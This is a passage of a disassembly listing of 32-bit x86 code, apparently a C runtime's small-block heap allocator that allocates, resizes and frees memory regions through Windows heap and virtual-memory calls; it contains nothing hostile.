push dword_4DFC64 call dword_4281A4 ; RtlReAllocateHeap cmp eax, edi jz short loc_41EC07 add dword_4DFC48, 10h mov dword_4DFC5C, eax mov eax, dword_4DFC58 loc_41EBB7: ; CODE XREF: sub_41EB74+11j mov ecx, dword_4DFC5C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DFC64 lea esi, [ecx+eax*4] call dword_428154 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41EC07 push 4 push 2000h push 100000h push edi call dword_4281D0 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EC0B push dword ptr [esi+10h] push edi push dword_4DFC64 call dword_428150 ; RtlFreeHeap loc_41EC07: ; CODE XREF: sub_41EB74+30j ; sub_41EB74+67j xor eax, eax jmp short loc_41EC22 ; --------------------------------------------------------------------------- loc_41EC0B: ; CODE XREF: sub_41EB74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DFC58 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EC22: ; CODE XREF: sub_41EB74+95j pop edi pop esi retn sub_41EB74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC25 proc near ; CODE XREF: sub_41E86B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EC37: ; CODE XREF: sub_41EC25+19j test eax, eax jl short loc_41EC40 shl eax, 1 inc ebx jmp short loc_41EC37 ; --------------------------------------------------------------------------- loc_41EC40: ; CODE XREF: sub_41EC25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EC55: ; CODE XREF: sub_41EC25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EC55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_4281D0 ; VirtualAlloc test eax, eax jnz short loc_41EC88 or eax, 0FFFFFFFFh jmp loc_41ED1B ; --------------------------------------------------------------------------- loc_41EC88: ; CODE XREF: sub_41EC25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41ECCE lea eax, [edi+10h] loc_41EC95: ; CODE XREF: sub_41EC25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EC95 loc_41ECCE: ; CODE XREF: sub_41EC25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41ED0B or [eax+4], edi loc_41ED0B: ; CODE XREF: sub_41EC25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41ED1B: ; CODE XREF: sub_41EC25+5Ej pop edi pop esi pop ebx leave retn sub_41EC25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED20 proc near ; CODE XREF: sub_41B872+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41EECE test bl, 1 jnz loc_41EEC7 add ebx, ecx cmp esi, ebx jg loc_41EEC7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41ED97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41ED97: ; CODE XREF: sub_41ED20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EDE7 cmp ecx, 20h jnb short loc_41EDC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EDE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EDE7 ; --------------------------------------------------------------------------- loc_41EDC3: ; CODE XREF: sub_41ED20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EDE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EDE7: ; CODE XREF: sub_41ED20+7Dj ; sub_41ED20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41EEB5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41EE21 push 3Fh pop edi loc_41EE21: ; CODE XREF: sub_41ED20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41EEA3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41EE7A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EE6D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41EE6D: ; CODE XREF: sub_41ED20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41EE9F ; --------------------------------------------------------------------------- loc_41EE7A: ; CODE XREF: sub_41ED20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EE90 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41EE90: ; CODE XREF: sub_41ED20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41EE9F: ; CODE XREF: sub_41ED20+158j shr edx, cl or [eax], edx loc_41EEA3: ; CODE XREF: sub_41ED20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41EEB8 ; --------------------------------------------------------------------------- loc_41EEB5: ; CODE XREF: sub_41ED20+E5j mov edx, [ebp+arg_4] loc_41EEB8: ; CODE XREF: sub_41ED20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F00E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED20+52j ; sub_41ED20+5Cj xor eax, eax jmp loc_41F011 ; --------------------------------------------------------------------------- loc_41EECE: ; CODE XREF: sub_41ED20+49j jge loc_41F00E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41EEF9 push 3Fh pop esi loc_41EEF9: ; CODE XREF: sub_41ED20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41EF88 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EF12 push 3Fh pop esi loc_41EF12: ; CODE XREF: sub_41ED20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41EF61 cmp esi, 20h jnb short loc_41EF3D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41EF5E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EF5E ; --------------------------------------------------------------------------- loc_41EF3D: ; CODE XREF: sub_41ED20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EF5E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EF5E: ; CODE XREF: sub_41ED20+214j ; sub_41ED20+21Bj ... mov ebx, [ebp+arg_4] loc_41EF61: ; CODE XREF: sub_41ED20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EF88 push 3Fh pop esi loc_41EF88: ; CODE XREF: sub_41ED20+1DDj ; sub_41ED20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F005 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41EFDC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EFCF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41EFCF: ; CODE XREF: sub_41ED20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F001 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: sub_41ED20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EFF2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41EFF2: ; CODE XREF: sub_41ED20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F001: ; CODE XREF: sub_41ED20+2BAj shr edx, cl or [eax], edx loc_41F005: ; CODE XREF: sub_41ED20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F00E: ; CODE XREF: sub_41ED20+1A2j ; sub_41ED20:loc_41EECEj push 1 pop eax loc_41F011: ; CODE XREF: sub_41ED20+1A9j pop edi pop esi pop ebx leave retn sub_41ED20 endp ; =============== S U B R O U T I N E ======================================= sub_41F016 proc near ; CODE XREF: sub_41E472+41p ; sub_41F30E:loc_41F4DDp cmp dword_43D600, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F02A mov esi, offset off_43D5F0 jmp short loc_41F047 ; --------------------------------------------------------------------------- loc_41F02A: ; CODE XREF: sub_41F016+Bj push 2020h push 0 push dword_4DFC64 call dword_428154 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41F153 loc_41F047: ; CODE XREF: sub_41F016+12j mov ebp, dword_4281D0 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41F13C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41F12E mov eax, offset off_43D5F0 cmp esi, eax jnz short loc_41F0A6 cmp off_43D5F0, 0 jnz short loc_41F096 mov off_43D5F0, eax loc_41F096: ; CODE XREF: sub_41F016+79j cmp off_43D5F4, 0 jnz short loc_41F0BB mov off_43D5F4, eax jmp short loc_41F0BB ; --------------------------------------------------------------------------- loc_41F0A6: ; CODE XREF: sub_41F016+70j mov [esi], eax mov eax, off_43D5F4 mov [esi+4], eax mov off_43D5F4, esi mov eax, [esi+4] mov [eax], esi loc_41F0BB: ; CODE XREF: sub_41F016+87j ; sub_41F016+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F0DD: ; CODE XREF: sub_41F016+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F0DD push ebx push 0 push edi call sub_41BC00 add esp, 0Ch loc_41F106: ; CODE XREF: sub_41F016+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F12A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F106 ; --------------------------------------------------------------------------- loc_41F12A: ; CODE XREF: sub_41F016+F7j mov eax, esi jmp short loc_41F155 ; --------------------------------------------------------------------------- loc_41F12E: ; CODE XREF: sub_41F016+63j push 8000h push 0 push edi call dword_4281CC ; VirtualFree loc_41F13C: ; CODE XREF: sub_41F016+4Bj cmp esi, offset off_43D5F0 jz short loc_41F153 push esi push 0 push dword_4DFC64 call dword_428150 ; RtlFreeHeap loc_41F153: ; CODE XREF: sub_41F016+2Bj ; sub_41F016+12Cj xor eax, eax loc_41F155: ; CODE XREF: sub_41F016+116j pop edi pop esi pop ebp pop ebx retn sub_41F016 endp ; =============== S U B R O U T I N E ======================================= sub_41F15A proc near ; CODE XREF: sub_41F1B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_4281CC ; VirtualFree cmp off_43F610, esi jnz short loc_41F17F mov eax, [esi+4] mov off_43F610, eax loc_41F17F: ; CODE XREF: sub_41F15A+1Bj cmp esi, offset off_43D5F0 jz short loc_41F1A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DFC64 call dword_428150 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41F1A7: ; CODE XREF: sub_41F15A+2Bj or dword_43D600, 0FFFFFFFFh pop esi retn sub_41F15A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F1B0 proc near ; CODE XREF: sub_41F2C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43D5F4 push edi loc_41F1BD: ; CODE XREF: sub_41F1B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F25B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F1D6: ; CODE XREF: sub_41F1B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F217 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_4281CC ; VirtualFree test eax, eax jz short loc_41F217 or dword ptr [edi], 0FFFFFFFFh dec dword_4DE644 mov eax, [esi+0Ch] test eax, eax jz short loc_41F20C cmp eax, edi jbe short loc_41F20F loc_41F20C: ; CODE XREF: sub_41F1B0+56j mov [esi+0Ch], edi loc_41F20F: ; CODE XREF: sub_41F1B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F224 loc_41F217: ; CODE XREF: sub_41F1B0+2Cj ; sub_41F1B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F1D6 loc_41F224: ; CODE XREF: sub_41F1B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F25B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F25B push 1 lea eax, [ecx+20h] pop edx loc_41F23B: ; CODE XREF: sub_41F1B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F24C inc edx add eax, 8 cmp edx, 400h jl short loc_41F23B loc_41F24C: ; CODE XREF: sub_41F1B0+8Ej cmp edx, 400h jnz short loc_41F25B push ecx call sub_41F15A pop ecx loc_41F25B: ; CODE XREF: sub_41F1B0+11j ; sub_41F1B0+7Dj ... cmp esi, off_43D5F4 jz short loc_41F26D cmp [ebp+arg_0], 0 jg loc_41F1BD loc_41F26D: ; CODE XREF: sub_41F1B0+B1j pop edi pop esi pop ebx leave retn sub_41F1B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F272 proc near ; CODE XREF: sub_41B721+3Ap ; sub_41B872+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43D5F0 push esi mov ecx, edx loc_41F27E: ; CODE XREF: sub_41F272+1Cj cmp eax, [ecx+10h] jbe short loc_41F288 cmp eax, [ecx+14h] jb short loc_41F290 loc_41F288: ; CODE XREF: sub_41F272+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F2C5 jmp short loc_41F27E ; --------------------------------------------------------------------------- loc_41F290: ; CODE XREF: sub_41F272+14j test al, 0Fh jnz short loc_41F2C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F2C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F2C5: ; CODE XREF: sub_41F272+1Aj ; sub_41F272+20j ... xor eax, eax pop esi retn sub_41F272 endp ; =============== S U B R O U T I N E ======================================= sub_41F2C9 proc near ; CODE XREF: sub_41B721+4Dp ; sub_41B872+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F30D inc dword_4DE644 cmp dword_4DE644, 20h jnz short locret_41F30D push 10h call sub_41F1B0 pop ecx locret_41F30D: ; CODE XREF: sub_41F2C9+2Bj ; sub_41F2C9+3Aj retn sub_41F2C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F30E proc near ; CODE XREF: sub_41B872+1ACp ; sub_41BB83+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43F610 push edi loc_41F31C: ; CODE XREF: sub_41F30E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F3C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F381 loc_41F347: ; CODE XREF: sub_41F30E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F36A cmp [edi+4], ebx jbe short loc_41F36A push ebx push ecx push eax call sub_41F516 add esp, 0Ch test eax, eax jnz short loc_41F3D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F36A: ; CODE XREF: sub_41F30E+40j ; sub_41F30E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F347 jmp short loc_41F384 ; --------------------------------------------------------------------------- loc_41F381: ; CODE XREF: sub_41F30E+37j mov ebx, [ebp+arg_0] loc_41F384: ; CODE XREF: sub_41F30E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F3CA loc_41F397: ; CODE XREF: sub_41F30E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F3B6 cmp [edi+4], ebx jbe short loc_41F3B6 push ebx push eax push [ebp+var_4] call sub_41F516 add esp, 0Ch test eax, eax jnz short loc_41F3D9 mov [edi+4], ebx loc_41F3B6: ; CODE XREF: sub_41F30E+8Dj ; sub_41F30E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F397 jmp short loc_41F3CA ; --------------------------------------------------------------------------- loc_41F3C7: ; CODE XREF: sub_41F30E+14j mov ebx, [ebp+arg_0] loc_41F3CA: ; CODE XREF: sub_41F30E+87j ; sub_41F30E+B7j mov esi, [esi] cmp esi, off_43F610 jz short loc_41F3E9 jmp loc_41F31C ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F30E+54j ; sub_41F30E+A3j mov off_43F610, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F511 ; --------------------------------------------------------------------------- loc_41F3E9: ; CODE XREF: sub_41F30E+C4j mov eax, offset off_43D5F0 mov edi, eax loc_41F3F0: ; CODE XREF: sub_41F30E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F3FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F408 loc_41F3FC: ; CODE XREF: sub_41F30E+E6j mov edi, [edi] cmp edi, eax jz loc_41F4DD jmp short loc_41F3F0 ; --------------------------------------------------------------------------- loc_41F408: ; CODE XREF: sub_41F30E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F437 loc_41F426: ; CODE XREF: sub_41F30E+127j cmp [ebp+var_4], 10h jge short loc_41F437 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F426 loc_41F437: ; CODE XREF: sub_41F30E+116j ; sub_41F30E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_4281D0 ; VirtualAlloc cmp eax, esi jnz loc_41F50F push 0 push [ebp+var_8] push esi call sub_41BC00 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F49E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F474: ; CODE XREF: sub_41F30E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F474 loc_41F49E: ; CODE XREF: sub_41F30E+15Ej mov off_43F610, edi lea eax, [edi+2018h] loc_41F4AA: ; CODE XREF: sub_41F30E+1A8j cmp ecx, eax jnb short loc_41F4BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F4B8 add ecx, 8 jmp short loc_41F4AA ; --------------------------------------------------------------------------- loc_41F4B8: ; CODE XREF: sub_41F30E+1A3j cmp ecx, eax loc_41F4BA: ; CODE XREF: sub_41F30E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F511 ; --------------------------------------------------------------------------- loc_41F4DD: ; CODE XREF: sub_41F30E+F2j call sub_41F016 test eax, eax jz short loc_41F50F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43F610, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F511 ; --------------------------------------------------------------------------- loc_41F50F: ; CODE XREF: sub_41F30E+143j ; sub_41F30E+1D6j xor eax, eax loc_41F511: ; CODE XREF: sub_41F30E+D6j ; sub_41F30E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F30E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F516 proc near ; CODE XREF: sub_41F30E+4Ap ; sub_41F30E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F55B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F54A add [ecx], edx sub [ecx+4], edx jmp short loc_41F553 ; --------------------------------------------------------------------------- loc_41F54A: ; CODE XREF: sub_41F516+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F553: ; CODE XREF: sub_41F516+32j lea eax, [edi+8] jmp loc_41F629 ; --------------------------------------------------------------------------- loc_41F55B: ; CODE XREF: sub_41F516+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F564 mov eax, esi loc_41F564: ; CODE XREF: sub_41F516+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F5AE loc_41F56B: ; CODE XREF: sub_41F516+96j mov bl, [eax] test bl, bl jnz short loc_41F5A1 push 1 lea ebx, [eax+1] pop esi loc_41F577: ; CODE XREF: sub_41F516+68j cmp byte ptr [ebx], 0 jnz short loc_41F580 inc ebx inc esi jmp short loc_41F577 ; --------------------------------------------------------------------------- loc_41F580: ; CODE XREF: sub_41F516+64j cmp esi, edx jnb short loc_41F5D2 cmp eax, [ebp+var_4] jnz short loc_41F58E mov [ecx+4], esi jmp short loc_41F59A ; --------------------------------------------------------------------------- loc_41F58E: ; CODE XREF: sub_41F516+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F633 loc_41F59A: ; CODE XREF: sub_41F516+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F5A6 ; --------------------------------------------------------------------------- loc_41F5A1: ; CODE XREF: sub_41F516+59j movzx esi, bl add eax, esi loc_41F5A6: ; CODE XREF: sub_41F516+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F56B loc_41F5AE: ; CODE XREF: sub_41F516+53j lea esi, [ecx+8] loc_41F5B1: ; CODE XREF: sub_41F516+EBj ; sub_41F516+F2j cmp esi, edi jnb short loc_41F633 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F633 mov al, [esi] test al, al jnz short loc_41F603 push 1 lea ebx, [esi+1] pop eax loc_41F5C9: ; CODE XREF: sub_41F516+BAj cmp byte ptr [ebx], 0 jnz short loc_41F5F3 inc ebx inc eax jmp short loc_41F5C9 ; --------------------------------------------------------------------------- loc_41F5D2: ; CODE XREF: sub_41F516+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F5E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F5EC ; --------------------------------------------------------------------------- loc_41F5E3: ; CODE XREF: sub_41F516+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F5EC: ; CODE XREF: sub_41F516+CBj mov [eax], dl add eax, 8 jmp short loc_41F629 ; --------------------------------------------------------------------------- loc_41F5F3: ; CODE XREF: sub_41F516+B6j cmp eax, edx jnb short loc_41F60A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F633 mov esi, ebx jmp short loc_41F5B1 ; --------------------------------------------------------------------------- loc_41F603: ; CODE XREF: sub_41F516+ABj movzx eax, al add esi, eax jmp short loc_41F5B1 ; --------------------------------------------------------------------------- loc_41F60A: ; CODE XREF: sub_41F516+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F61B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F624 ; --------------------------------------------------------------------------- loc_41F61B: ; CODE XREF: sub_41F516+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F624: ; CODE XREF: sub_41F516+103j mov [esi], dl lea eax, [esi+8] loc_41F629: ; CODE XREF: sub_41F516+40j ; sub_41F516+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F635 ; --------------------------------------------------------------------------- loc_41F633: ; CODE XREF: sub_41F516+7Ej ; sub_41F516+9Dj ... xor eax, eax loc_41F635: ; CODE XREF: sub_41F516+11Bj pop edi pop esi pop ebx leave retn sub_41F516 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F63A proc near ; CODE XREF: sub_41B872+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, 